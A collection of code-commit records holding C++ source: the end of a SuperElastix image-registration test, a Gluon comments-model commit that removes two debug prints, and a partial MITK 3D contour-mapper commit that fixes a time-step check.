\/\/resultDisplacementWriter->SetFileName(dataManager->GetOutputFile(\"Niftyreg_WBIR_Displacement.mhd\"));\n\n \/\/ Connect SuperElastix in an itk pipeline\n superElastixFilter->SetInput(\"FixedImage\", fixedImageReader->GetOutput());\n superElastixFilter->SetInput(\"MovingImage\", movingImageReader->GetOutput());\n resultImageWriter->SetInput(superElastixFilter->GetOutput< Image2DType >(\"ResultImage\"));\n \/\/resultDisplacementWriter->SetInput(superElastixFilter->GetOutput< DisplacementImage2DType >(\"ResultDisplacementFieldSink\"));\n\n BlueprintITKPointer superElastixFilterBlueprint = BlueprintITKType::New();\n superElastixFilterBlueprint->Set(blueprint);\n EXPECT_NO_THROW(superElastixFilter->SetBlueprint(superElastixFilterBlueprint));\n\n \/\/Optional Update call\n \/\/superElastixFilter->Update();\n\n \/\/ Update call on the writers triggers SuperElastix to configure and execute\n EXPECT_NO_THROW(resultImageWriter->Update());\n \/\/EXPECT_NO_THROW(resultDisplacementWriter->Update());\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (C) 2010 Shantanu Tushar <shaan7in@gmail.com>\n * Copyright (C) 2010 Laszlo Papp <lpapp@kde.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n \n#include \"commentitemsmodel.h\"\n \n#include \"allgameitemsmodel.h\"\n#include \"gamemanager.h\"\n \n#include \"serviceprovider.h\"\n#include <commentslistjob.h>\n#include <commentuploadjob.h>\n \n#include <engine\/gameproject.h>\n \n#include <core\/gluonobject.h>\n#include <core\/gdlserializer.h>\n#include <gluon_global.h>\n \n#include <attica\/listjob.h>\n \n#include <QtCore\/QStringList>\n#include <QtCore\/QDebug>\n#include <QtCore\/QFile>\n#include <QtCore\/QDir>\n \nusing namespace GluonCore;\nusing namespace GluonPlayer;\n \nclass CommentItemsModel::Private\n{\n public:\n Private()\n {\n }\n \n GluonCore::GluonObject* m_rootNode;\n QStringList m_columnNames;\n bool m_isOnline;\n QString m_gameId;\n QList<GluonCore::GluonObject*> m_nodes;\n};\n \nCommentItemsModel::CommentItemsModel( QString gameId, QObject* parent )\n : QAbstractListModel( parent )\n , d(new Private)\n{\n d->m_rootNode = new GluonObject( \"Comment\", this );\n d->m_isOnline = false;\n d->m_gameId = gameId;\n d->m_columnNames << tr( \"Author\" ) << tr( \"Title\" ) << tr( \"Body\" ) << tr( \"DateTime\" ) << tr( \"Rating\" );\n \n loadData(); \/\/ Load comments stored locally\n updateData(); \/\/ Fetch latest comments from the web service\n \n}\n\nQHash<int, QByteArray> CommentItemsModel::roleNames() const\n{\n QHash<int, QByteArray> roles;\n roles[AuthorRole] = \"author\";\n roles[TitleRole] = \"title\";\n roles[BodyRole] = \"body\";\n roles[DateTimeRole] = \"dateTime\";\n roles[RatingRole] = \"rating\";\n roles[DepthRole] = \"depth\";\n roles[ParentIdRole] = \"parentId\";\n return roles;\n}\n\nvoid CommentItemsModel::updateData()\n{\n clear();\n CommentsListJob *commentListJob = ServiceProvider::instance()->fetchCommentList(d->m_gameId, 0, 0);\n connect(commentListJob, SIGNAL(succeeded()), SLOT(processFetchedComments()));\n connect(commentListJob, SIGNAL(failed()), SIGNAL(commentListFetchFailed()));\n commentListJob->start();\n}\n \nvoid CommentItemsModel::processFetchedComments()\n{\n QList<CommentItem*> list = qobject_cast<CommentsListJob*>(sender())->data().value< QList<CommentItem*> >();\n qDebug() << list.count() << \" comments Successfully Fetched from the server!\";\n foreach(CommentItem *comment, list) {\n addComment(comment, d->m_rootNode);\n }\n \n beginResetModel();\n treeTraversal(d->m_rootNode);\n endResetModel();\n d->m_isOnline = true;\n}\n \nvoid CommentItemsModel::addCommentFinished( Attica::BaseJob* job )\n{\n Attica::ListJob<Attica::Comment> *commentsJob = static_cast<Attica::ListJob<Attica::Comment>*>( job );\n if( commentsJob->metadata().error() == Attica::Metadata::NoError )\n {\n updateData();\n }\n else\n {\n emit addCommentFailed();\n }\n}\n \nGluonObject* CommentItemsModel::addComment( CommentItem* comment, GluonObject* parent )\n{\n GluonObject* newComment = new GluonObject( comment->id(), parent );\n newComment->setProperty( \"Author\", comment->user() );\n newComment->setProperty( \"Title\", comment->subject() );\n newComment->setProperty( \"Body\", comment->text() );\n newComment->setProperty( \"DateTime\", comment->dateTime().toString() );\n newComment->setProperty( \"Rating\", comment->score() );\n newComment->setProperty( \"Depth\", parent->property(\"Depth\").toInt() + 1 );\n newComment->setProperty( \"ParentId\", parent->name() );\n \n foreach( QObject *child, comment->children() ) {\n addComment( static_cast<CommentItem*>(child), newComment );\n }\n \n return newComment;\n}\n \nvoid CommentItemsModel::treeTraversal( GluonCore::GluonObject* obj )\n{\n if( !obj )\n return;\n \n foreach( QObject * child, obj->children() )\n {\n GluonObject* gobj = qobject_cast<GluonObject*>( child );\n if( gobj )\n {\n d->m_nodes.append( gobj );\n treeTraversal( gobj );\n }\n }\n}\n \nbool dateTimeLessThan( GluonCore::GluonObject* go1, GluonCore::GluonObject* go2 )\n{\n return go1->property( \"DateTime\" ).toString() < go2->property( \"DateTime\" ).toString();\n}\n \nvoid CommentItemsModel::loadData()\n{\n AllGameItemsModel *model = qobject_cast<AllGameItemsModel*>(GameManager::instance()->allGamesModel());\n QString gameCachePath = model->data(d->m_gameId, AllGameItemsModel::CacheUriRole).toUrl().toLocalFile();\n \n GluonCore::GluonObjectList list;\n if( gameCachePath.isEmpty() || !GluonCore::GDLSerializer::instance()->read( QUrl( gameCachePath + \"\/comments.gdl\" ), list ) )\n return;\n \n d->m_rootNode = list.at( 0 );\n treeTraversal( d->m_rootNode );\n qSort( d->m_nodes.begin(), d->m_nodes.end(), dateTimeLessThan );\n}\n \nvoid CommentItemsModel::saveData()\n{\n if (d->m_gameId.isEmpty()) {\n qDebug() << \"Failed to save the comment data for empty game id.\";\n return;\n }\n \n qDebug() << \"Saving data!\";\n \n AllGameItemsModel *model = qobject_cast<AllGameItemsModel*>(GameManager::instance()->allGamesModel());\n QString gameCachePath = model->data(d->m_gameId, AllGameItemsModel::CacheUriRole).toUrl().toLocalFile();\n \n QDir gameCacheDir;\n gameCacheDir.mkpath( gameCachePath );\n gameCacheDir.cd( gameCachePath );\n QString filename = gameCacheDir.absoluteFilePath( \"comments.gdl\" );\n \n GluonCore::GDLSerializer::instance()->write( QUrl::fromLocalFile(filename), GluonCore::GluonObjectList() << d->m_rootNode );\n}\n \nCommentItemsModel::~CommentItemsModel()\n{\n saveData(); \/\/Save data before exiting\n}\n \nQVariant CommentItemsModel::data( const QModelIndex& index, int role ) const\n{\n if (index.row() >= rowCount())\n return QVariant();\n \n switch (role) {\n case AuthorRole:\n return d->m_nodes.at(index.row())->property( \"Author\" );\n case TitleRole:\n return d->m_nodes.at(index.row())->property( \"Title\" );\n case BodyRole:\n return d->m_nodes.at(index.row())->property( \"Body\" );\n case DateTimeRole:\n return d->m_nodes.at(index.row())->property( \"DateTime\" );\n case RatingRole:\n return d->m_nodes.at(index.row())->property( \"Rating\" );\n case DepthRole:\n return d->m_nodes.at(index.row())->property( \"Depth\" );\n case ParentIdRole:\n return d->m_nodes.at(index.row())->property( \"ParentId\" );\n }\n \n return QVariant();\n}\n \nint CommentItemsModel::rowCount( const QModelIndex& \/* parent *\/ ) const\n{\n return d->m_nodes.count();\n}\n \nQVariant CommentItemsModel::headerData( int section, Qt::Orientation orientation, int role ) const\n{\n if( orientation == Qt::Horizontal && role == Qt::DisplayRole )\n return d->m_columnNames.at( section );\n \n return QVariant();\n}\n \nQt::ItemFlags CommentItemsModel::flags( const QModelIndex& index ) const\n{\n if( !index.isValid() )\n return Qt::ItemIsEnabled;\n \n return QAbstractItemModel::flags( index );\n}\n \nvoid CommentItemsModel::uploadComment( const QModelIndex& parentIndex, const QString& subject, const QString& message )\n{\n uploadComment(d->m_nodes.at(parentIndex.row())->name(), subject, message);\n}\n \nvoid CommentItemsModel::uploadComment( const QString &parentId, const QString& subject, const QString& message )\n{\n if( d->m_gameId.isEmpty() )\n {\n qDebug() << \"Invalid game id, can't upload comment\";\n return;\n } else {\n qDebug() << \"id: \" << parentId << \" | subject:\" << subject << \" | message:\" << message << \"\\n\";\n }\n CommentUploadJob *commentsUploadJob = ServiceProvider::instance()->uploadComment(d->m_gameId,\n parentId,\n subject, message);\n connect(commentsUploadJob, SIGNAL(succeeded()), SLOT(uploadCommentFinished()));\n connect(commentsUploadJob, SIGNAL(failed()), SIGNAL(addCommentFailed()));\n commentsUploadJob->start();\n}\n \nQString CommentItemsModel::gameId() const\n{\n return d->m_gameId;\n}\n \nvoid CommentItemsModel::setGameId( const QString& id )\n{\n if (id.isEmpty())\n return;\n d->m_gameId = id;\n updateData(); \/\/ Fetch latest comments from the web serviceprovider\n emit gameIdChanged();\n}\n \nvoid CommentItemsModel::clear()\n{\n if (d->m_rootNode) {\n qDeleteAll(d->m_rootNode->children());\n }\n d->m_nodes.clear();\n}\n \nvoid CommentItemsModel::uploadCommentFinished()\n{\n qDebug() << \"upload comment went well\";\n updateData();\n}\n<commit_msg>deleted 2 useless qdebugs<commit_after>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (C) 2010 Shantanu Tushar <shaan7in@gmail.com>\n * Copyright (C) 2010 Laszlo Papp <lpapp@kde.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n \n#include \"commentitemsmodel.h\"\n \n#include \"allgameitemsmodel.h\"\n#include \"gamemanager.h\"\n \n#include \"serviceprovider.h\"\n#include <commentslistjob.h>\n#include <commentuploadjob.h>\n \n#include <engine\/gameproject.h>\n \n#include <core\/gluonobject.h>\n#include <core\/gdlserializer.h>\n#include <gluon_global.h>\n \n#include <attica\/listjob.h>\n \n#include <QtCore\/QStringList>\n#include <QtCore\/QDebug>\n#include <QtCore\/QFile>\n#include <QtCore\/QDir>\n \nusing namespace GluonCore;\nusing namespace GluonPlayer;\n \nclass CommentItemsModel::Private\n{\n public:\n Private()\n {\n }\n \n GluonCore::GluonObject* m_rootNode;\n QStringList m_columnNames;\n bool m_isOnline;\n QString m_gameId;\n QList<GluonCore::GluonObject*> m_nodes;\n};\n \nCommentItemsModel::CommentItemsModel( QString gameId, QObject* parent )\n : QAbstractListModel( parent )\n , d(new Private)\n{\n d->m_rootNode = new GluonObject( \"Comment\", this );\n d->m_isOnline = false;\n d->m_gameId = gameId;\n d->m_columnNames << tr( \"Author\" ) << tr( \"Title\" ) << tr( \"Body\" ) << tr( \"DateTime\" ) << tr( \"Rating\" );\n \n loadData(); \/\/ Load comments stored locally\n updateData(); \/\/ Fetch latest comments from the web service\n \n}\n\nQHash<int, QByteArray> CommentItemsModel::roleNames() const\n{\n QHash<int, QByteArray> roles;\n roles[AuthorRole] = \"author\";\n roles[TitleRole] = \"title\";\n roles[BodyRole] = \"body\";\n roles[DateTimeRole] = \"dateTime\";\n roles[RatingRole] = \"rating\";\n roles[DepthRole] = \"depth\";\n roles[ParentIdRole] = \"parentId\";\n return roles;\n}\n\nvoid CommentItemsModel::updateData()\n{\n clear();\n CommentsListJob *commentListJob = ServiceProvider::instance()->fetchCommentList(d->m_gameId, 0, 0);\n connect(commentListJob, SIGNAL(succeeded()), SLOT(processFetchedComments()));\n connect(commentListJob, SIGNAL(failed()), SIGNAL(commentListFetchFailed()));\n commentListJob->start();\n}\n \nvoid CommentItemsModel::processFetchedComments()\n{\n QList<CommentItem*> list = qobject_cast<CommentsListJob*>(sender())->data().value< QList<CommentItem*> >();\n qDebug() << list.count() << \" comments Successfully Fetched from the server!\";\n foreach(CommentItem *comment, list) {\n addComment(comment, d->m_rootNode);\n }\n \n beginResetModel();\n treeTraversal(d->m_rootNode);\n endResetModel();\n d->m_isOnline = true;\n}\n \nvoid CommentItemsModel::addCommentFinished( Attica::BaseJob* job )\n{\n Attica::ListJob<Attica::Comment> *commentsJob = static_cast<Attica::ListJob<Attica::Comment>*>( job );\n if( commentsJob->metadata().error() == Attica::Metadata::NoError )\n {\n updateData();\n }\n else\n {\n emit addCommentFailed();\n }\n}\n \nGluonObject* CommentItemsModel::addComment( CommentItem* comment, GluonObject* parent )\n{\n GluonObject* newComment = new GluonObject( comment->id(), parent );\n newComment->setProperty( \"Author\", comment->user() );\n newComment->setProperty( \"Title\", comment->subject() );\n newComment->setProperty( \"Body\", comment->text() );\n newComment->setProperty( \"DateTime\", comment->dateTime().toString() );\n newComment->setProperty( \"Rating\", comment->score() );\n newComment->setProperty( \"Depth\", parent->property(\"Depth\").toInt() + 1 );\n newComment->setProperty( \"ParentId\", parent->name() );\n \n foreach( QObject *child, comment->children() ) {\n addComment( static_cast<CommentItem*>(child), newComment );\n }\n \n return newComment;\n}\n \nvoid CommentItemsModel::treeTraversal( GluonCore::GluonObject* obj )\n{\n if( !obj )\n return;\n \n foreach( QObject * child, obj->children() )\n {\n GluonObject* gobj = qobject_cast<GluonObject*>( child );\n if( gobj )\n {\n d->m_nodes.append( gobj );\n treeTraversal( gobj );\n }\n }\n}\n \nbool dateTimeLessThan( GluonCore::GluonObject* go1, GluonCore::GluonObject* go2 )\n{\n return go1->property( \"DateTime\" ).toString() < go2->property( \"DateTime\" ).toString();\n}\n \nvoid CommentItemsModel::loadData()\n{\n AllGameItemsModel *model = qobject_cast<AllGameItemsModel*>(GameManager::instance()->allGamesModel());\n QString gameCachePath = model->data(d->m_gameId, AllGameItemsModel::CacheUriRole).toUrl().toLocalFile();\n \n GluonCore::GluonObjectList list;\n if( gameCachePath.isEmpty() || !GluonCore::GDLSerializer::instance()->read( QUrl( gameCachePath + \"\/comments.gdl\" ), list ) )\n return;\n \n d->m_rootNode = list.at( 0 );\n treeTraversal( d->m_rootNode );\n qSort( d->m_nodes.begin(), d->m_nodes.end(), dateTimeLessThan );\n}\n \nvoid CommentItemsModel::saveData()\n{\n if (d->m_gameId.isEmpty()) {\n qDebug() << \"Failed to save the comment data for empty game id.\";\n return;\n }\n \n qDebug() << \"Saving data!\";\n \n AllGameItemsModel *model = qobject_cast<AllGameItemsModel*>(GameManager::instance()->allGamesModel());\n QString gameCachePath = model->data(d->m_gameId, AllGameItemsModel::CacheUriRole).toUrl().toLocalFile();\n \n QDir gameCacheDir;\n gameCacheDir.mkpath( gameCachePath );\n gameCacheDir.cd( gameCachePath );\n QString filename = gameCacheDir.absoluteFilePath( \"comments.gdl\" );\n \n GluonCore::GDLSerializer::instance()->write( QUrl::fromLocalFile(filename), GluonCore::GluonObjectList() << d->m_rootNode );\n}\n \nCommentItemsModel::~CommentItemsModel()\n{\n saveData(); \/\/Save data before exiting\n}\n \nQVariant CommentItemsModel::data( const QModelIndex& index, int role ) const\n{\n if (index.row() >= rowCount())\n return QVariant();\n \n switch (role) {\n case AuthorRole:\n return d->m_nodes.at(index.row())->property( \"Author\" );\n case TitleRole:\n return d->m_nodes.at(index.row())->property( \"Title\" );\n case BodyRole:\n return d->m_nodes.at(index.row())->property( \"Body\" );\n case DateTimeRole:\n return d->m_nodes.at(index.row())->property( \"DateTime\" );\n case RatingRole:\n return d->m_nodes.at(index.row())->property( \"Rating\" );\n case DepthRole:\n return d->m_nodes.at(index.row())->property( \"Depth\" );\n case ParentIdRole:\n return d->m_nodes.at(index.row())->property( \"ParentId\" );\n }\n \n return QVariant();\n}\n \nint CommentItemsModel::rowCount( const QModelIndex& \/* parent *\/ ) const\n{\n return d->m_nodes.count();\n}\n \nQVariant CommentItemsModel::headerData( int section, Qt::Orientation orientation, int role ) const\n{\n if( orientation == Qt::Horizontal && role == Qt::DisplayRole )\n return d->m_columnNames.at( section );\n \n return QVariant();\n}\n \nQt::ItemFlags CommentItemsModel::flags( const QModelIndex& index ) const\n{\n if( !index.isValid() )\n return Qt::ItemIsEnabled;\n \n return QAbstractItemModel::flags( index );\n}\n \nvoid CommentItemsModel::uploadComment( const QModelIndex& parentIndex, const QString& subject, const QString& message )\n{\n uploadComment(d->m_nodes.at(parentIndex.row())->name(), subject, message);\n}\n \nvoid CommentItemsModel::uploadComment( const QString &parentId, const QString& subject, const QString& message )\n{\n if( d->m_gameId.isEmpty() )\n {\n qDebug() << \"Invalid game id, can't upload comment\";\n return;\n }\n CommentUploadJob *commentsUploadJob = ServiceProvider::instance()->uploadComment(d->m_gameId,\n parentId,\n subject, message);\n connect(commentsUploadJob, SIGNAL(succeeded()), SLOT(uploadCommentFinished()));\n connect(commentsUploadJob, SIGNAL(failed()), SIGNAL(addCommentFailed()));\n commentsUploadJob->start();\n}\n \nQString CommentItemsModel::gameId() const\n{\n return d->m_gameId;\n}\n \nvoid CommentItemsModel::setGameId( const QString& id )\n{\n if (id.isEmpty())\n return;\n d->m_gameId = id;\n updateData(); \/\/ Fetch latest comments from the web serviceprovider\n emit gameIdChanged();\n}\n \nvoid CommentItemsModel::clear()\n{\n if (d->m_rootNode) {\n qDeleteAll(d->m_rootNode->children());\n }\n d->m_nodes.clear();\n}\n \nvoid CommentItemsModel::uploadCommentFinished()\n{\n updateData();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*============================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center (DKFZ)\nAll rights reserved.\n\nUse of this source code is governed by a 3-clause BSD license that can be\nfound in the LICENSE file.\n\n============================================================================*\/\n#include <mitkContourModelMapper3D.h>\n\n#include <vtkCellArray.h>\n#include <vtkPoints.h>\n#include <vtkProperty.h>\n\nmitk::ContourModelMapper3D::ContourModelMapper3D()\n{\n}\n\nmitk::ContourModelMapper3D::~ContourModelMapper3D()\n{\n}\n\nconst mitk::ContourModel *mitk::ContourModelMapper3D::GetInput(void)\n{\n \/\/ convient way to get the data from the dataNode\n return static_cast<const mitk::ContourModel *>(GetDataNode()->GetData());\n}\n\nvtkProp *mitk::ContourModelMapper3D::GetVtkProp(mitk::BaseRenderer *renderer)\n{\n \/\/ return the actor corresponding to the renderer\n return m_LSH.GetLocalStorage(renderer)->m_Actor;\n}\n\nvoid mitk::ContourModelMapper3D::GenerateDataForRenderer(mitk::BaseRenderer *renderer)\n{\n \/* First convert the contourModel to vtkPolyData, then tube filter it and\n * set it input for our mapper\n *\/\n\n LocalStorage *localStorage = m_LSH.GetLocalStorage(renderer);\n\n auto *inputContour = static_cast<mitk::ContourModel *>(GetDataNode()->GetData());\n\n localStorage->m_OutlinePolyData = this->CreateVtkPolyDataFromContour(inputContour);\n\n this->ApplyContourProperties(renderer);\n\n \/\/ tube filter the polyData\n localStorage->m_TubeFilter->SetInputData(localStorage->m_OutlinePolyData);\n\n float lineWidth(1.0);\n if (this->GetDataNode()->GetFloatProperty(\"contour.3D.width\", lineWidth, renderer))\n {\n localStorage->m_TubeFilter->SetRadius(lineWidth);\n }\n else\n {\n localStorage->m_TubeFilter->SetRadius(0.5);\n }\n localStorage->m_TubeFilter->CappingOn();\n localStorage->m_TubeFilter->SetNumberOfSides(10);\n localStorage->m_TubeFilter->Update();\n localStorage->m_Mapper->SetInputConnection(localStorage->m_TubeFilter->GetOutputPort());\n}\n\nvoid mitk::ContourModelMapper3D::Update(mitk::BaseRenderer *renderer)\n{\n bool visible = true;\n GetDataNode()->GetVisibility(visible, renderer, \"visible\");\n\n auto *data = static_cast<mitk::ContourModel *>(GetDataNode()->GetData());\n if (data == nullptr)\n {\n return;\n }\n\n \/\/ Calculate time step of the input data for the specified renderer (integer value)\n this->CalculateTimeStep(renderer);\n\n LocalStorage *localStorage = m_LSH.GetLocalStorage(renderer);\n \/\/ Check if time step is valid\n const TimeGeometry *dataTimeGeometry = data->GetTimeGeometry();\n if ((dataTimeGeometry == nullptr) || (dataTimeGeometry->CountTimeSteps() == 0) ||\n (!dataTimeGeometry->IsValidTimeStep(renderer->GetTimeStep())) || (this->GetTimestep() == -1))\n {\n \/\/ clear the rendered polydata\n localStorage->m_Mapper->SetInputData(vtkSmartPointer<vtkPolyData>::New());\n return;\n }\n\n const DataNode *node = this->GetDataNode();\n data->UpdateOutputInformation();\n\n \/\/ check if something important has changed and we need to rerender\n if ((localStorage->m_LastUpdateTime < node->GetMTime()) \/\/ was the node modified?\n ||\n (localStorage->m_LastUpdateTime < data->GetPipelineMTime()) \/\/ Was the data modified?\n ||\n (localStorage->m_LastUpdateTime <\n renderer->GetCurrentWorldPlaneGeometryUpdateTime()) \/\/ was the geometry modified?\n ||\n (localStorage->m_LastUpdateTime < renderer->GetCurrentWorldPlaneGeometry()->GetMTime()) ||\n (localStorage->m_LastUpdateTime < node->GetPropertyList()->GetMTime()) \/\/ was a property modified?\n ||\n (localStorage->m_LastUpdateTime < node->GetPropertyList(renderer)->GetMTime()))\n {\n this->GenerateDataForRenderer(renderer);\n }\n\n \/\/ since we have checked that nothing important has changed, we can set\n \/\/ m_LastUpdateTime to the current time\n localStorage->m_LastUpdateTime.Modified();\n}\n\nvtkSmartPointer<vtkPolyData> mitk::ContourModelMapper3D::CreateVtkPolyDataFromContour(mitk::ContourModel *inputContour)\n{\n unsigned int timestep = this->GetTimestep();\n\n \/\/ the points to draw\n vtkSmartPointer<vtkPoints> points = vtkSmartPointer<vtkPoints>::New();\n \/\/ the lines to connect the points\n vtkSmartPointer<vtkCellArray> lines = vtkSmartPointer<vtkCellArray>::New();\n \/\/ Create a polydata to store everything in\n vtkSmartPointer<vtkPolyData> polyData = vtkSmartPointer<vtkPolyData>::New();\n\n \/\/ iterate over the control points\n auto current = inputContour->IteratorBegin(timestep);\n auto next = inputContour->IteratorBegin(timestep);\n if (next != inputContour->IteratorEnd(timestep))\n {\n next++;\n\n auto end = inputContour->IteratorEnd(timestep);\n\n while (next != end)\n {\n mitk::ContourModel::VertexType *currentControlPoint = *current;\n mitk::ContourModel::VertexType *nextControlPoint = *next;\n\n if (!(currentControlPoint->Coordinates[0] == nextControlPoint->Coordinates[0] &&\n currentControlPoint->Coordinates[1] == nextControlPoint->Coordinates[1] &&\n currentControlPoint->Coordinates[2] == nextControlPoint->Coordinates[2]))\n {\n vtkIdType p1 = points->InsertNextPoint(currentControlPoint->Coordinates[0],\n currentControlPoint->Coordinates[1],\n currentControlPoint->Coordinates[2]);\n vtkIdType p2 = points->InsertNextPoint(\n nextControlPoint->Coordinates[0], nextControlPoint->Coordinates[1], nextControlPoint->Coordinates[2]);\n \/\/ add the line between both contorlPoints\n lines->InsertNextCell(2);\n lines->InsertCellPoint(p1);\n lines->InsertCellPoint(p2);\n }\n current++;\n next++;\n }\n\n if (inputContour->IsClosed(timestep))\n {\n \/\/ If the contour is closed add a line from the last to the first control point\n mitk::ContourModel::VertexType *firstControlPoint = *(inputContour->IteratorBegin(timestep));\n mitk::ContourModel::VertexType *lastControlPoint = *(--(inputContour->IteratorEnd(timestep)));\n if (lastControlPoint->Coordinates[0] != firstControlPoint->Coordinates[0] ||\n lastControlPoint->Coordinates[1] != firstControlPoint->Coordinates[1] ||\n lastControlPoint->Coordinates[2] != firstControlPoint->Coordinates[2])\n {\n vtkIdType p2 = points->InsertNextPoint(\n lastControlPoint->Coordinates[0], lastControlPoint->Coordinates[1], lastControlPoint->Coordinates[2]);\n vtkIdType p1 = points->InsertNextPoint(\n firstControlPoint->Coordinates[0], firstControlPoint->Coordinates[1], firstControlPoint->Coordinates[2]);\n\n \/\/ add the line to the cellArray\n lines->InsertNextCell(2);\n lines->InsertCellPoint(p1);\n lines->InsertCellPoint(p2);\n }\n }\n\n \/\/ Add the points to the dataset\n polyData->SetPoints(points);\n \/\/ Add the lines to the dataset\n polyData->SetLines(lines);\n }\n return polyData;\n}\n\nvoid mitk::ContourModelMapper3D::ApplyContourProperties(mitk::BaseRenderer *renderer)\n{\n LocalStorage *localStorage = m_LSH.GetLocalStorage(renderer);\n\n mitk::ColorProperty::Pointer colorprop =\n dynamic_cast<mitk::ColorProperty *>(GetDataNode()->GetProperty(\"contour.color\", renderer));\n if (colorprop)\n {\n \/\/ set the color of the contour\n double red = colorprop->GetColor().GetRed();\n double green = colorprop->GetColor().GetGreen();\n double blue = colorprop->GetColor().GetBlue();\n localStorage->m_Actor->GetProperty()->SetColor(red, green, blue);\n }\n}\n\n\/*+++++++++++++++++++ LocalStorage part +++++++++++++++++++++++++*\/\n\nmitk::ContourModelMapper3D::LocalStorage *mitk::ContourModelMapper3D::GetLocalStorage(mitk::BaseRenderer *renderer)\n{\n return m_LSH.GetLocalStorage(renderer);\n}\n\nmitk::ContourModelMapper3D::LocalStorage::LocalStorage()\n{\n m_Mapper = vtkSmartPointer<vtkPolyDataMapper>::New();\n m_Actor = vtkSmartPointer<vtkActor>::New();\n m_OutlinePolyData = vtkSmartPointer<vtkPolyData>::New();\n m_TubeFilter = vtkSmartPointer<vtkTubeFilter>::New();\n\n \/\/ set the mapper for the actor\n m_Actor->SetMapper(m_Mapper);\n}\n\nvoid mitk::ContourModelMapper3D::SetDefaultProperties(mitk::DataNode *node,\n mitk::BaseRenderer *renderer,\n bool overwrite)\n{\n node->AddProperty(\"color\", ColorProperty::New(1.0, 0.0, 0.0), renderer, overwrite);\n node->AddProperty(\"contour.3D.width\", mitk::FloatProperty::New(0.5), renderer, overwrite);\n\n Superclass::SetDefaultProperties(node, renderer, overwrite);\n}\n<commit_msg>Fixed T27517<commit_after>\/*============================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center (DKFZ)\nAll rights reserved.\n\nUse of this source code is governed by a 3-clause BSD license that can be\nfound in the LICENSE file.\n\n============================================================================*\/\n#include <mitkContourModelMapper3D.h>\n\n#include <vtkCellArray.h>\n#include <vtkPoints.h>\n#include <vtkProperty.h>\n\nmitk::ContourModelMapper3D::ContourModelMapper3D()\n{\n}\n\nmitk::ContourModelMapper3D::~ContourModelMapper3D()\n{\n}\n\nconst mitk::ContourModel *mitk::ContourModelMapper3D::GetInput(void)\n{\n \/\/ convient way to get the data from the dataNode\n return static_cast<const mitk::ContourModel *>(GetDataNode()->GetData());\n}\n\nvtkProp *mitk::ContourModelMapper3D::GetVtkProp(mitk::BaseRenderer *renderer)\n{\n \/\/ return the actor corresponding to the renderer\n return m_LSH.GetLocalStorage(renderer)->m_Actor;\n}\n\nvoid mitk::ContourModelMapper3D::GenerateDataForRenderer(mitk::BaseRenderer *renderer)\n{\n \/* First convert the contourModel to vtkPolyData, then tube filter it and\n * set it input for our mapper\n *\/\n\n LocalStorage *localStorage = m_LSH.GetLocalStorage(renderer);\n\n auto *inputContour = static_cast<mitk::ContourModel *>(GetDataNode()->GetData());\n\n localStorage->m_OutlinePolyData = this->CreateVtkPolyDataFromContour(inputContour);\n\n this->ApplyContourProperties(renderer);\n\n \/\/ tube filter the polyData\n localStorage->m_TubeFilter->SetInputData(localStorage->m_OutlinePolyData);\n\n float lineWidth(1.0);\n if (this->GetDataNode()->GetFloatProperty(\"contour.3D.width\", lineWidth, renderer))\n {\n localStorage->m_TubeFilter->SetRadius(lineWidth);\n }\n else\n {\n localStorage->m_TubeFilter->SetRadius(0.5);\n }\n localStorage->m_TubeFilter->CappingOn();\n localStorage->m_TubeFilter->SetNumberOfSides(10);\n localStorage->m_TubeFilter->Update();\n localStorage->m_Mapper->SetInputConnection(localStorage->m_TubeFilter->GetOutputPort());\n}\n\nvoid mitk::ContourModelMapper3D::Update(mitk::BaseRenderer *renderer)\n{\n bool visible = true;\n GetDataNode()->GetVisibility(visible, renderer, \"visible\");\n\n auto *data = static_cast<mitk::ContourModel *>(GetDataNode()->GetData());\n if (data == nullptr)\n {\n return;\n }\n\n \/\/ Calculate time step of the input data for the specified renderer (integer value)\n this->CalculateTimeStep(renderer);\n\n LocalStorage *localStorage = m_LSH.GetLocalStorage(renderer);\n \/\/ Check if time step is valid\n const TimeGeometry *dataTimeGeometry = data->GetTimeGeometry();\n if ((dataTimeGeometry == nullptr) || (dataTimeGeometry->CountTimeSteps() == 0) ||\n (!dataTimeGeometry->IsValidTimePoint(renderer->GetTime())) || (this->GetTimestep() == -1))\n {\n \/\/ clear the rendered polydata\n localStorage->m_Mapper->SetInputData(vtkSmartPointer<vtkPolyData>::New());\n return;\n }\n\n const DataNode *node = this->GetDataNode();\n data->UpdateOutputInformation();\n\n \/\/ check if something important has changed and we need to rerender\n if ((localStorage->m_LastUpdateTime < node->GetMTime()) \/\/ was the node modified?\n ||\n (localStorage->m_LastUpdateTime < data->GetPipelineMTime()) \/\/ Was the data modified?\n ||\n (localStorage->m_LastUpdateTime <\n renderer->GetCurrentWorldPlaneGeometryUpdateTime()) \/\/ was the geometry modified?\n ||\n (localStorage->m_LastUpdateTime < renderer->GetCurrentWorldPlaneGeometry()->GetMTime()) ||\n (localStorage->m_LastUpdateTime < node->GetPropertyList()->GetMTime()) \/\/ was a property modified?\n ||\n (localStorage->m_LastUpdateTime < node->GetPropertyList(renderer)->GetMTime()))\n 